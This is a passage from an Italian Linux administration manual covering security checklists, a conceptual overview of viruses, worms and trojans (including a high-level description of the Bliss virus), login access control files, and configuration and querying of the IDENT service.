• Verifica del corretto funzionamento del sistema di aggancio nelle connessioni seriali (non devono rimanere aperte le connessioni).
• Impedire il transito del protocollo del sistema grafico X attraverso i router.
• Impedire i forward di X attraverso il protocollo SECSH.
Sicurezza del file system
• Eliminazione dei bit SUID e SGID negli script di shell (anche se questo non dovrebbe causare problemi con i sistemi GNU/Linux).
• Verifica di tutti i programmi che hanno il bit SUID o SGID attivato, a meno di quelli che notoriamente devono avere questo privilegio.
• Verifica della presenza del bit Sticky nelle directory che sono accessibili in scrittura da tutti gli utenti.
• Verifica del valore della maschera dei permessi riferita alla configurazione dell’utente
‘root’.
• Verifica dei permessi dei file di dispositivo.
Copie di sicurezza
• Copia di sicurezza completa (livello zero) ogni mese.
• Copia di sicurezza incrementale (livello uno) almeno ogni due settimane.
• Utilizzo di sistemi di memorizzazioneWORM,2 come i CD-R, per le copie di sicurezza di livello zero.
284 volume IV Comunicare 2
222.9 Riferimenti
• Kevin Fenzi, Linux Security HOWTO
hhttp://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html i
• Dan Farmer, Wietse Venema, Improving the Security of Your Site by Breaking Into it, 1995
hhttp://www.fish.com/security/admin-guide-to-cracking.html i
• Christopher Klaus, Backdoors, 1997
hhttp://web.textfiles.com/hacking/backdoors.txt i
• Steven M. Bellovin, There Be Dragons, 1992
hhttp://www.cs.columbia.edu/~smb/papers/dragon.ps i
• David A. Curry, Improving the security of your UNIX systems, 1990
hhttp://www.alw.nih.gov/Security/Docs/unix-security.html i
• CERT (Computer Emergency Response Team) Coordination Center
hhttp://www.cert.org/ i
• Mathematics and Computing Science Dept. of Eindhoven University of Technology (the
Netherlands, Europe)
hftp://ftp.porcupine.org/pub/security/ i
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 L’idea è tratta da Improving the security of your site by breaking into it, di Dan Farmer eWietse
Venema.
2 Un sistema di memorizzazione che consente la scrittura una volta sola e non permette la cancellazione successiva (salvo il caso della distruzione fisica).
285
Capitolo 223
Virus, vermi e cavalli di Troia
Nello studio dei problemi di sicurezza legati all’uso di strumenti informatici, non vanno trascurati i virus e il software modificato ad arte per arrecare qualche tipo di danno. Lo scopo di questo capitolo è quello di fare comprendere il problema, pur senza poterlo risolvere in modo definitivo.
223.1 Classificazione
Di per sé, non è molto importante classificare il software che arreca danno in qualche modo, se non per il fatto che questo permette di avere una visione un po’ più chiara del problema.
In generale si distinguono due tipi fondamentali: i virus e i cavalli di Troia. Eventualmente si considerano anche i vermi, come sottogruppo particolare dei virus.
Il virus è un pezzo di codice in grado di riprodursi nel sistema, attaccandosi ai programmi già esistenti, agli script, sostituendosi al settore di avvio di un disco o di una partizione, inserendosi all’interno di file di dati che prevedono la presenza di macroistruzioni. Naturalmente, un virus non è necessariamente in grado di fare tutto questo simultaneamente: dipende da chi lo realizza
il modo in cui può riuscire a riprodursi.
Un cavallo di Troia, o trojan (troiano), è un programma che di per sé svolgerebbe una funzione più o meno utile, che però nasconde una parte di codice indesiderabile. Il classico cavallo di Troia è un gioco, che mentre viene utilizzato fa anche qualcosa di diverso, come cancellare dei file, oppure spedire all’esterno informazioni sulla configurazione del proprio sistema. Un cavallo di Troia potrebbe essere anche un programma normale che sia stato infettato ad arte con un virus, allo scopo di diffondere il virus stesso.
Il verme è un sottoinsieme specifico dei virus, il cui intento principale è quello di diffondersi attraverso la rete. Generalmente, anche se non sempre, il verme si cancella una volta che è riuscito
a copiarsi all’esterno.
223.2 Fidarsi o non fidarsi
Si comprende facilmente il senso di un cavallo di Troia. Come sempre vale la solita raccomandazione:
«non accettare nulla -- caramelle o qualunque altra cosa -- dagli estranei». Infatti, una caramella può essere avvelenata, un oggetto appuntito potrebbe essere stato infettato con qualche sostanza,1 così come un programma può essere stato alterato ad arte. Purtroppo, spesso non ci sono alternative alla «fiducia», soprattutto quando il programma in questione è accessibile solo in forma di eseguibile senza sorgente.
Ad aggravare il problema, le normative di vari paesi vietano espressamente la decompilazione, cioè lo studio dei programmi a partire dalla loro forma eseguibile, cosa che rende difficile una
verifica a seguito dell’insorgere di un qualche sospetto. L’unica possibilità per salvaguardarsi di fronte a questo problema è l’uso di programmi provvisti di sorgente, verificati e compilati personalmente.2 Evidentemente non si tratta di una soluzione accessibile a tutti, sia per le capacità necessarie, sia per il tempo che ciò richiede. Purtroppo, però, resta l’unica, se si vuole escludere la fiducia.
La fiducia, ammesso che ci sia, non basta, perché occorre verificare che il tale programma non sia stato manomesso da una persona differente da quella di cui ci si fida. Infatti, un programma normale potrebbe diventare un cavallo di Troia contenente un virus, o comunque contenere qualcosa di aggiunto per qualche fine. Questa verifica può essere fatta attraverso l’uso di una firma elettronica (si veda a questo proposito il capitolo 235).
286 volume IV Comunicare 2
223.3 Programmi imprevisti
Una volta compreso il pericolo legato ai programmi, che possono essere cavalli di Troia, oppure possono contenere un virus, si può credere di avere risolto il problema se si evita di installarne di nuovi. Tuttavia, un «programma» può essere inserito anche all’interno di file di dati, nel momento in cui questo può diventare uno script o un insieme di macro-istruzioni di qualche tipo.
È nota l’esistenza di virus «macro», costituiti da macro-istruzioni contenute in documenti di programmi di scrittura o in fogli elettronici. Nello stesso modo non è da escludere la possibilità
di acquisire un documento TeX o anche PostScript contenente istruzioni che possono arrecare dei danni nel momento della composizione (si tratta di operazioni legate all’accesso al file system).
Sotto questo aspetto, i problemi maggiori si avvertono quando i programmi di questo tipo possono essere inseriti in documenti a cui si accede attraverso la rete. Per esempio, una pagina HTML
potrebbe incorporare o richiamare un programma JavaScript,3 o peggio un programma Java (le applet). In questa situazione, solo il programma di navigazione può impedire che venga fatto qualcosa di dannoso, ammesso che possa essere in grado di farlo. Generalmente, l’unica alternativa è impedire l’esecuzione di script e programmi esterni, accettando tutte le conseguenze che ciò comporta, dato che in questo modo diventa impossibile accedere ad alcuni servizi.
Un’ultima considerazione va fatta nei confronti dei programmi allegati a messaggi di posta elettronica.
Nel momento in cui il programma di lettura della posta dovesse essere «troppo» amichevole, si potrebbe arrivare a estrarre e installare tali programmi, quasi senza rendersene conto.
Sono noti gli attacchi di questo tipo che colpiscono inesorabilmente gli utenti più ingenui.
223.4 Limitare la diffusione di un virus
In linea di principio, non ci sono difese che tengano contro un virus o un cavallo di Troia realizzati con perizia. Tuttavia, qualche accorgimento può essere utile, soprattutto se si ritiene che
il proprio sistema operativo di partenza sia abbastanza «sicuro» (cosa che comunque non si può dimostrare). In generale valgono le solite raccomandazioni che si fanno in queste occasioni.
• Evitare di utilizzare software che non sia stato compilato personalmente, dopo un esame attento dei sorgenti, o comunque, evitare di utilizzare software compilato da persone sconosciute e anche da persone conosciute per le quali non si può verificare l’autenticità dell’origine.
• Evitare di abilitare l’esecuzione di script e programmi incorporati in documenti ottenuti attraverso la rete (file HTML e posta elettronica principalmente).
• Evitare di usare il sistema in qualità di utente ‘root’ quando non serve: un virus avrebbe i privilegi necessari per infettare tutto il sistema, mentre un cavallo di Troia avrebbe accesso a tutti i file di dispositivo.
• Utilizzare un sistema di scansione realizzato appositamente per verificare le alterazioni nei file, come AIDE e Tripwire (capitolo 228).
Virus, vermi e cavalli di Troia 287
223.5 Bliss
Un sistema Unix è l’ideale per realizzare un virus con grande facilità. Non serve nemmeno essere programmatori; basterebbe appena sapere scrivere uno script di shell.
Qui non si vuole e non si può mostrare un esempio pratico di virus del genere, perché la diffusione di tali informazioni potrebbe invogliare le solite persone di poco conto a realizzarne dei propri.
Tuttavia, la descrizione di massima del funzionamento di un virus reale può essere di aiuto per comprendere il problema.
Bliss è stato il primo virus realizzato specificatamente per i sistemi GNU/Linux, che comunque potrebbe essere ricompilato facilmente per la maggior parte dei sistemi Unix. Le informazioni
sul suo funzionamento sono state ottenute da un’analisi condotta da Ray Lehtiniemi, come documentato in Bliss, a Linux "virus" di Axel Boldt.
Bliss si attacca ai file eseguibili (compresi gli script) nella loro parte iniziale, aggiungendo in coda una stringa di riconoscimento (una firma, ovvero un’impronta virale). Quando si avvia un programma infettato in questo modo, in realtà si mette in funzione il virus, che fa le sue cose e poi estrae il file originale salvandolo temporaneamente in ‘/tmp/.bliss-tmp.pid’ (pid rappresenta il numero del processo), da dove poi provvede a metterlo in funzione.
È da osservare che tutto è molto semplice, al contrario di tanti virus realizzati per sistemi Dos e successivi, in cui si arriva ad alterare le istruzioni del codice eseguibile che viene infettato.
Bliss è evidentemente solo una dimostrazione di questo pericolo. Qui sono stati trascurati tanti dettagli sul suo funzionamento che riguardano però lo scopo «pratico». Ma per comprendere cosa può fare un virus, basta solo un po’ di fantasia. Si intuisce facilmente il pericolo di un virus latente, che non fa nulla di eclatante per mostrarsi, rimanendo in attesa di fare ciò per cui è stato creato e messo in circolazione.
223.6 Riferimenti
• Axel Boldt, Bliss, a Linux "virus"
http://math-www.uni-paderborn.de/~axel/bliss/ i
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 Secondo una vecchia tradizione non si regalano spille e altri oggetti appuntiti con cui ci si può ferire.
2 Esiste anche software proprietario che viene messo a disposizione in forma sorgente.
3 Teoricamente i file HTML possono incorporare anche molti altri tipi di script, purché il navigatore sia poi in grado di interpretarli.
288
Capitolo 224
Filtri di accesso standard
Il primo punto su cui intervenire per affrontare i problemi di sicurezza di un sistema, è quello del filtro di accesso. Questo compito è svolto fondamentalmente da Login, che può essere configurato
in modo differente a seconda dell’organizzazione della propria distribuzione GNU.
Normalmente dipende dalla configurazione delle librerie PAM, che sia previsto o meno l’uso di questi file. La configurazione delle librerie PAM per ciò che riguarda Login potrebbe essere contenuta nel file ‘/etc/pam.d/login’.
224.1 Login in generale
Come accennato, Login potrebbe offrire qualche strumento minimo di configurazione per controllare gli accessi. In generale, la presenza del file ‘/etc/nologin’ impedisce l’accesso e il file ‘/etc/securetty’ stabilisce da quali terminali può accedere l’utente ‘root’.
Alcuni tipi di Login permettono di controllare l’accesso degli utenti comuni attraverso la configurazione del file ‘/etc/usertty’; altri potrebbero utilizzare la configurazione di ‘/etc/ login.access’. Qui viene mostrato come si potrebbero utilizzare questi file, quando il programma Login che si ha a disposizione ne prevede l’uso.
Per quanto riguarda l’uso di ‘/etc/login.defs’, si veda il capitolo 69, dedicato alle parole d’ordine oscurate.
Per sapere esattamente come è organizzato il proprio Login, è indispensabile leggere la sua pagina di manuale, login(1), tenendo conto però, che potrebbe anche non essere aggiornata.
224.1.1 file «/etc/usertty»
Attraverso il file ‘/etc/usertty’ dovrebbe essere possibile limitare l’accesso degli utenti. Solitamente non viene utilizzato e la sua mancanza consente a tutti gli utenti del sistema di accedere
da dove vogliono, quando vogliono, a parte la restrizione che riguarda l’utente ‘root’ in base alla configurazione del file ‘/etc/securetty’.
In linea di massima, se il programma Login è stato compilato in modo da utilizzarlo, il file ‘/etc/ usertty’ permette di definire l’origine e la fascia oraria attraverso cui ogni utente può accedere.
Il file ‘/etc/usertty’ può contenere commenti, introdotti dal simbolo ‘#’ e terminati dalla fine della riga; inoltre può contenere righe bianche o vuote, che vengono ignorate. Per il resto, le direttive che può contenere sono raggruppate in tre sezioni possibili, denominate: ‘CLASSES’, ‘GROUPS’ e ‘USERS’.
|
|CLASSES | GROUPS | USERS
|elemento origine...
|...
|
Ognuna delle tre sezioni inizia con la parola chiave che la identifica, scritta con tutti i caratteri maiuscoli, come si vede dallo schema sintattico. Le righe seguenti, fino all’indicazione della sezione successiva, rappresentano la definizione di elementi della sezione a cui si abbinano delle origini. In pratica, Filtri di accesso standard 289
|
|elemento origine...
|
serve a definire il nome di un elemento riferito alla sezione a cui appartiene, il quale consente l’accesso dalle origini indicate. Tra il nome e l’elenco di origini si possono utilizzare uno o più spazi orizzontali (comprese le tabulazioni); l’elenco dei nomi è separato a sua volta attraverso altri spazi orizzontali.
Un’origine, nel senso degli schemi sintattici mostrati, rappresenta un terminale o un nodo espressi in qualche modo, da cui l’utente che vi appartiene può accedere. L’origine può contenere anche l’indicazione di una fascia oraria in cui è consentito l’accesso.
La cosa migliore, per cominciare, è mostrare un esempio in cui appare l’uso di tutte le sezioni.
|CLASSES
|terminale_console tty1 tty2 tty3 tty4 tty5 tty6
|elaboratore_locale @localhost
|rete_locale @.brot.dg @192.168.1.0/255.255.255.0
|
|GROUPS
|studenti rete_locale tty1
|prof terminale_console elaboratore_locale rete_locale
|
|USERS
|tizio tty1 tty2 tty3
|caio tty4 tty5 tty6
|* rete_locale
L’esempio mostra la sequenza normale nell’indicazione delle sezioni. La prima, ‘CLASSES’, permette di definire delle classi, ovvero dei nomi che possono essere richiamati nelle altre sezioni. A fianco di ogni nome di classe viene riportato l’elenco delle origini a cui queste fanno riferimento.
Intuitivamente, si intende che la classe ‘terminale_console’ rappresenta gli accessi provenienti da una console virtuale qualunque, da ‘/dev/tty1’ a ‘/dev/tty6’; nello stesso modo si
può comprendere che la classe ‘rete_locale’ rappresenta tutti gli accessi provenienti da nodi appartenenti al dominio brot.dg o alla sottorete 192.168.1.*.
La sezione ‘GROUPS’ permette di definire dei gruppi, secondo quanto riportato nel file ‘/etc/ group’, abbinando agli utenti relativi la possibilità di accedere attraverso origini determinate.
Nell’esempio, gli utenti del gruppo ‘studenti’ possono accedere dagli accessi definiti dalla classe ‘rete_locale’ e anche dalla prima console (‘/dev/tty1’).
La sezione ‘USERS’ permette di definire l’accesso dei singoli utenti. Per esempio, l’utente ‘tizio’ può accedere solo dalle prime tre console virtuali.
In generale, se un utente ricade all’interno della definizione di un elemento della sezione ‘GROUPS’ e anche in uno della sezione ‘USERS’, le sue possibilità di accesso sono date dall’unione
delle due.
All’interno della sezione ‘USERS’ può apparire un elemento speciale, l’asterisco (‘*’), che rappresenta qualsiasi utente. Seguendo l’esempio, oltre ai nominativi indicati esplicitamente, si fa in modo che ogni utente possa accedere da qualunque nodo della rete locale.
A parte la comprensione intuitiva, le origini possono essere espresse in modi differenti, secondo uno degli schemi seguenti.
290 volume IV Comunicare 2
|
|classe
|
|
|dispositivo_di_terminale
|
|
|@.dominio
|
|
|@numero_ipv4/maschera
|
|
|@localhost
|
Quanto mostrato rappresenta solo una prima approssimazione; in ogni caso, un’origine può essere espressa da:
1. il nome di una classe definita precedentemente;
2. il nome del file di dispositivo del terminale corrispondente, togliendo il percorso ‘/dev/’;
3. un nome di dominio che rappresenta tutti i nodi che gli appartengono;
4. l’indirizzo di una sottorete, composto dal numero IPv4 e dalla maschera relativa;
5. la sigla ‘@localhost’ che rappresenta un accesso proveniente dallo stesso sistema locale.
Tuttavia, l’origine può contenere anche l’indicazione di una fascia oraria in cui quella tale origine fisica (o logica) può avere accesso. Naturalmente, questo vale per tutti i casi visti, escluso le classi, che in realtà servono per definire un gruppo di origini complete.
Una fascia oraria viene indicata davanti a un’origine di quelle elencate fino a questo punto e la si distingue perché è racchiusa tra parentesi quadre. La fascia oraria può contenere l’indicazione di
uno o più giorni della settimana e di uno o più intervalli orari. La fascia oraria è composta quindi da un elenco di elementi, separati da due punti verticali (‘:’). Si osservi l’esempio seguente:
|[mon:tue:wed:thu:fri:8-17:20]
L’esempio rappresenta una fascia oraria corrispondente all’intervallo dalle 8:00 alle 17:59 e dalle 20:00 alle 20:59, di tutti i giorni da lunedì a venerdì. Intuitivamente si comprende che esiste un’approssimazione obbligata di un’ora per gli intervalli orari e che non è possibile indicare informazioni sui giorni diversi da un ambito strettamente settimanale.
Una fascia oraria di questo tipo deve contenere almeno un’indicazione di un intervallo orario.
Per un esempio più completo, si osservi il pezzo seguente del file ‘/etc/usertty’ che rappresenta una sezione ‘USERS’. L’utente ‘tizio’ può accedere dalla prima console virtuale solo il sabato e la domenica dalle 8:00 alle 22:59; poi può accedere anche dalle origini specificate dalla classe ‘rete_locale’, dato che ciò è concesso indistintamente per tutti gli utenti.
Filtri di accesso standard 291
|USERS
|tizio [sat:sun:8-22]tty1
|caio tty4 tty5 tty6
|* rete_locale
224.1.2 File «/etc/login.access»
Il file ‘/etc/login.access’ svolge funzioni simili a ‘/etc/usertty’. Il suo scopo è quello di definire chi può o non può accedere al sistema, in base all’origine da cui tenta di accedere. A
differenza di ‘/etc/usertty’, non è possibile definire delle fasce orarie; ma per questo viene in aiuto il file di configurazione ‘/etc/porttime’.
Il file ‘/etc/login.access’ può contenere commenti, preceduti dal simbolo ‘#’, righe bianche e righe vuote. Per il resto si tratta di direttive in forma di record composti da tre campi separati attraverso il simbolo di due punti (‘:’). Si osservi lo schema sintattico seguente:
|
|permesso:elenco_utenti:origini
|
Il primo campo può contenere solo i simboli ‘+’ e ‘-’, che indicano rispettivamente la concessione
o il rifiuto all’accesso.
|
|+|-:elenco_utenti:origini
|
Le direttive vengono lette sequenzialmente nel momento in cui un utente tenta di accedere;
la prima a cui corrisponde l’utente stesso, è quella che viene applicata. Se nessuna direttiva corrisponde, l’accesso viene concesso.
L’elenco degli utenti, è un elenco spaziato di nomi di utente o di gruppo. In generale, viene cercata prima la corrispondenza con il nome dell’utente e solo dopo si prova con il gruppo. Tuttavia,
la corrispondenza con il gruppo avviene solo se l’utente in questione è aggregato esplicitamente al gruppo stesso. Ciò significa che se l’utente ‘tizio’ è abbinato al gruppo ‘lavoro’, ma nel file ‘/etc/group’ questo non è indicato, l’utente in questione non viene riconosciuto come appartenente a tale gruppo.
Nel secondo campo può apparire anche la parola chiave ‘ALL’, ovvero un jolly che rappresenta tutti gli utenti.
Nel terzo campo si indicano le origini da cui potrebbero provenire i tentativi di accesso; anche in questo caso si tratta di un elenco spaziato. Può trattarsi di:
• terminali locali, ovvero console virtuali, rappresentati dai nomi dei file di dispositivo senza l’indicazione del percorso (‘tty1’, ‘tty2’, ecc.);
• nomi di dominio completo o parziale (si riconoscono perché iniziano con un punto);
• indirizzi IP, che in tal caso devono terminare con un punto;
• nomi di domini NIS, che iniziano con il simbolo ‘@’.
Nel terzo campo possono apparire anche le parole chiave ‘ALL’ e ‘LOCAL’, che indicano rispettivamente tutte le origini, oppure solo le origini locali (ovvero qualunque stringa che non contenga un punto).
292 volume IV Comunicare 2
Viene mostrato un esempio descritto attraverso dei commenti:
|# L’utente root può accedere solo da origini locali.
|+:root:LOCAL
|
|# Gli utenti tizio, caio e sempronio possono accedere dalle prime
|# sei console virtuali, dal nodo locale e anche da roggen.brot.dg.
|+:tizio caio sempronio:tty1 tty2 tty3 tty4 tty5 tty6
|+:tizio caio sempronio:localhost roggen.brot.dg
|
|# Tutte le altre combinazioni di accesso non sono consentite.
|-:ALL:ALL
224.1.3 File «/etc/porttime»
Il file di configurazione ‘/etc/porttime’ completa le funzionalità di ‘/etc/login.access’.
Il suo utilizzo effettivo dipende da Login e probabilmente dalla configurazione attraverso ‘/etc/ login.defs’, descritto nel capitolo 69.
Il file ‘/etc/porttime’ permette di definire delle combinazioni tra i terminali di accesso e i tempi in cui gli utenti possono accedere. Il file può contenere commenti, preceduti dal simbolo ‘#’, righe bianche e righe vuote. Per il resto si tratta di direttive in forma di record composti da tre campi separati attraverso il simbolo di due punti (‘:’). Si osservi lo schema sintattico seguente:
|
|terminale[, terminale]...:utente[, utente]...:periodo[, periodo]...
|
I tre campi consentono l’indicazione di elenchi di elementi, separati attraverso una virgola. Il primo campo rappresenta il nome di uno o più terminali, così come sono identificati dai file di dispositivo (senza il percorso); in particolare, per indicare tutti i terminali, si può usare l’asterisco.
Il secondo campo è un elenco di utenti a cui si vuole applicare la direttiva; anche in questo caso si può usare l’asterisco per indicarli tutti. Il terzo campo indica i periodi di accesso, attraverso una stringa un po’ articolata:
|
|sigle_giorni_settimanaora_inizio-ora_fine
|
I giorni della settimana si esprimono attraverso sigle particolari, come si vede nella tabella 224.5;
se necessario si possono unire più sigle assieme.
Tabella 224.5. Elenco delle sigle utilizzabili per identificare i giorni della settimana.
Sigla Significato
|Al Tutti i giorni della settimana.
|Wk I giorni dal lunedì al venerdì.
|Mo Il lunedì.
|Tu Il martedì.
|We Il mercoledì.
|Th Il giovedì.
Filtri di accesso standard 293
Sigla Significato
|Fr Il venerdì.
|Sa Il sabato.
|Su La domenica.
Gli orari si indicano con stringhe di quattro cifre numeriche, dove la prima coppia di cifre rappresenta l’ora e la seconda i minuti. Per esempio, |*:tizio,caio:Wk1630-2400
consente l’accesso da parte degli utenti ‘tizio’ e ‘caio’ tutti i giorni dal lunedì al venerdì dalle ore 16:30 alla mezzanotte. L’esempio seguente, invece, consente solo all’utente ‘root’ di accedere attraverso ‘/dev/console’, escludendo tutti gli altri utenti:
|console:root:Al0000-2400
|console:*:
La prima direttiva per la quale si ottenga corrispondenza tra i primi due campi e l’utente che tenta di accedere, è quella che si applica. Se nel seguito ci fossero direttive più permissive, queste non verrebbero applicate.
L’esempio seguente esclude l’accesso di tutti gli utenti, incluso l’utente ‘root’, perché la seconda direttiva non viene presa in considerazione:
|*:*:
|*:*:Al0000-2400
Infine, l’esempio seguente consente l’accesso all’utente ‘tizio’ solo nei giorni di lunedì e martedì:
|*:tizio:MoTu0000-2400
Per come è stato descritto, questo file di configurazione permette soltanto di impedire gli accessi al di fuori degli orari stabiliti. Per imporre che siano rispettati i tempi, occorre il demone ‘logoutd’, descritto nella pagina di manuale logoutd(8), il cui scopo è di sorvegliare in tal senso, imponendo la chiusura delle connessioni quando queste superano gli orari previsti.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
294
Capitolo 225 Protocollo IDENT
In quasi tutte le distribuzioni GNU, nella configurazione del supervisore dei servizi di rete è prevista l’attivazione del servizio IDENT, corrispondente alla porta ‘auth’ (113). Nel caso di Inetd, il file ‘/etc/inetd.conf’ potrebbe contenere una riga simile a quella seguente:
|auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o
In alternativa, se il proprio sistema GNU è configurato diversamente, la riga in questione potrebbe essere più simile a quella seguente:
|ident stream tcp nowait nobody /usr/sbin/identd identd -l -e -o
Il demone ‘identd’ ha lo scopo di controllare i collegamenti per mezzo del protocollo TCP. In tal modo è in grado di informare il nodo all’altro capo del collegamento sul nominativo-utente di chi esegue quel collegamento. Si osservi la figura 225.3.
Figura 225.3. Il protocollo IDENT serve a fornire alla controparte le informazioni necessarie a identificare l’utente che ha in corso una connessione TCP particolare.
Seguendo l’esempio della figura, se un utente del nodo «A» ha iniziato una connessione TCP con il nodo «B» (in questo caso si tratta di TELNET), dal nodo «B» può essere richiesto al nodo «A»
di fornire le informazioni sull’utente che esegue il processo responsabile del collegamento. Come si vede, tale richiesta viene fatta usando il protocollo IDENT e la risposta può essere fornita solo
se l’origine gestisce tale servizio.
Fornire questo tipo di informazione è utile, al contrario di ciò che si potrebbe pensare, purché il demone ‘identd’ non sia stato compromesso e fornisca informazioni corrette. Se un utente di un
sistema che fornisce il servizio IDENT, utilizzando il protocollo TCP, cercasse di aggredire un qualche nodo esterno, l’amministratore di questo potrebbe ottenere il nominativo-utente di questa persona attraverso il protocollo IDENT. Successivamente, tale amministratore avrebbe modo di essere più dettagliato nel riferire l’accaduto al suo collega del sistema da cui è originato l’attacco, a tutto vantaggio di questo ultimo amministratore.
225.1 Avvio del demone
Il demone ‘identd’ 1 è in grado di fornire alla controparte di una connessione TCP il nominativo utente del proprietario del processo che l’ha avviata. ‘identd’ può fornire anche altre informazioni,
ma questo non rappresenta il suo scopo normale, che è invece quello di consentire il monitoraggio degli accessi da parte dei destinatari delle connessioni.2
|
|/usr/sbin/in.identd [opzioni]|
Protocollo IDENT 295
È il caso di sottolineare che, per fornire esclusivamente le informazioni strettamente necessarie al raggiungimento di tale obiettivo, si utilizzano normalmente le opzioni ‘-l’, ‘-e’, ‘-o’ ed
eventualmente si può valutare la possibilità di aggiungere anche ‘-n’.
‘identd’ è in grado di conoscere esclusivamente l’utente «reale» del processo. Per cui, un processo avviato con il bit SUID attivo ottiene i privilegi dell’utente proprietario del file binario, pertanto è questo utente a essere mostrato da ‘identd’.
Tabella 225.4. Alcune opzioni della riga di comando di ‘identd’.
Opzione Descrizione
|-b
Utilizzando l’opzione ‘-b’ si permette l’avvio di ‘identd’ in modo indipendente dal supervisore dei servizi di rete. In generale, si preferisce attivare il servizio IDENT attraverso il supervisore dei servizi di rete.
Se viene utilizzata questa opzione, è necessario indicarne delle altre per informare ‘identd’ di una serie di cose che altrimenti sono gestite dal supervisore dei servizi di rete. Per conoscerle si può consultare la pagina di manuale identd(8).
|-l
Attiva la registrazione delle richieste IDENT nel registro del sistema. Non si
tratta della registrazione dei nomi degli utenti che si connettono, ma delle sole richieste fatte dai nodi remoti che chiedono «chiarimenti» sulle connessioni partite dal sistema locale verso di loro.
|-o
Fa in modo che non venga rivelato il nome del sistema operativo. Al suo posto viene restituita la parola ‘OTHER’.
|-e
Fa in modo di non specificare la motivazione degli errori. Senza questa
opzione, ‘identd’ potrebbe restituire informazioni del tipo: ‘NO-USER’,
‘INVALID-PORT’. Con questa opzione, l’unico messaggio di errore è
‘UNKNOWN-ERROR’.
|-n
Utilizzando questa opzione, si fa in modo che ‘identd’ non fornisca il nome dell’utente proprietario del processo che instaura la connessione, restituendo al suo posto il numero UID.
|-N
Permette agli utenti di nascondersi attraverso la creazione di un file ‘~/
.noident’. È chiaro che per gli scopi in cui è utile tale servizio, questa opzione non deve essere usata; diversamente un aggressore che non vuole essere identificato potrebbe bloccare facilmente ‘identd’.
L’esempio seguente rappresenta l’utilizzo normale di ‘identd’, attraverso la dichiarazione all’interno della configurazione del supervisore dei servizi di rete; in questo caso il file ‘/etc/
inetd.conf’. Si può osservare l’uso delle opzioni ‘-l’, ‘-e’ e ‘-o’, con cui si attiva l’annotazione nel registro del sistema, si eliminano le informazioni sul sistema operativo e sul tipo di errori commessi durante l’interrogazione del servizio.
|# /etc/inetd.conf
|...
|auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o
Si osservi l’assenza del richiamo al TCP wrapper, dal momento che questo servizio deve essere accessibile a tutti i nodi e non solo a quelli che passano il filtro stabilito all’interno di ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’. Inoltre, il TCP wrapper non può essere utilizzato soprattutto perché esso stesso può essere configurato per interrogare l’origine di una richiesta attraverso il protocollo IDENT, formando in tal caso un ciclo senza fine.
296 volume IV Comunicare 2
225.2 Interrogazione del servizio e librerie
A quanto pare manca un programma di servizio specifico per l’interrogazione del servizio IDENT; in pratica si deve utilizzare un cliente TELNET verso la porta 113 (denominata ‘auth’).
Il primo problema è quello di scoprire le porte della connessione che si intende verificare alla fonte.
Questo lo si fa con ‘netstat’. A titolo di esempio, si immagina di essere nel nodo «B» dello schema mostrato nella figura 225.3 e di volere verificare l’origine di una connessione TELNET proveniente dal nodo «A» (proprio come mostrava la figura).
Prima di tutto, si deve scoprire che esiste una connessione TELNET (sospetta), cosa che avviene attraverso la lettura dei messaggi del registro del sistema. Purtroppo, se il TCP wrapper non è configurato correttamente, potrebbe mancare l’indicazione delle porte utilizzate, costringendo ad andare un po’ per tentativi. Si suppone che sia in corso attualmente un’unica connessione di
questo tipo, in tal caso la lettura del rapporto di ‘netstat’ non può generare equivoci.
$ netstat -n [ Invio ]
Il rapporto potrebbe essere piuttosto lungo. Per quello che riguarda questo esempio, si potrebbe notare l’estratto seguente:
|Active Internet connections (w/o servers)
|Proto Recv-Q Send-Q Local Address Foreign Address State
|...
|tcp 0 0 192.168.254.1:23 192.168.1.1:1108 ESTABLISHED
|...
Il punto di vista è quello del nodo 192.168.254.1, mentre il nodo remoto è 192.168.1.1. Per interrogare il servizio IDENT presso il nodo remoto si utilizza un cliente TELNET nel modo
seguente (eventualmente, al posto del nome ‘auth’ si può indicare direttamente il numero: 113).
$ telnet 192.168.1.1 auth [ Invio ]
|Trying 192.168.1.1...
|Connected to 192.168.1.1.
|Escape character is ’^]’.
1108 , 23 [ Invio ]
|1108 , 23 : USERID : OTHER :tizio
|Connection closed by foreign host.
Così si viene a conoscere che la connessione è intrattenuta dall’utente ‘tizio@192.168.1.1’.
Un demone di un servizio qualunque potrebbe essere modificato in modo da utilizzare sistematicamente il protocollo IDENT per interpellare i clienti, annotando nel registro del sistema gli utenti che accedono. Per questo e altri utilizzi, esiste la libreria ‘libident’, disponibile con quasi tutte le distribuzioni GNU.
Probabilmente, solo la distribuzione Debian acclude il demone ‘identtestd’ assieme alla libreria ‘libident’. Si tratta di un programma da collocare nel file di configurazione del supervisore
dei servizi di rete, per esempio ‘/etc/inetd.conf’, collegandolo a una porta non utilizzata, il cui scopo è solo quello di restituire le informazioni di chi dovesse fare un tentativo di accesso attraverso un cliente TELNET su quella stessa porta. In pratica, ‘identtestd’ serve esclusivamente per verificare il funzionamento del proprio servizio IDENT.
Protocollo IDENT 297
Nel caso si utilizzi Inetd, si attiva il servizio (diagnostico) attraverso una riga come quella seguente, nel file ‘/etc/inetd.conf’.
|9999 stream tcp nowait root /usr/sbin/in.identtestd in.identtestd
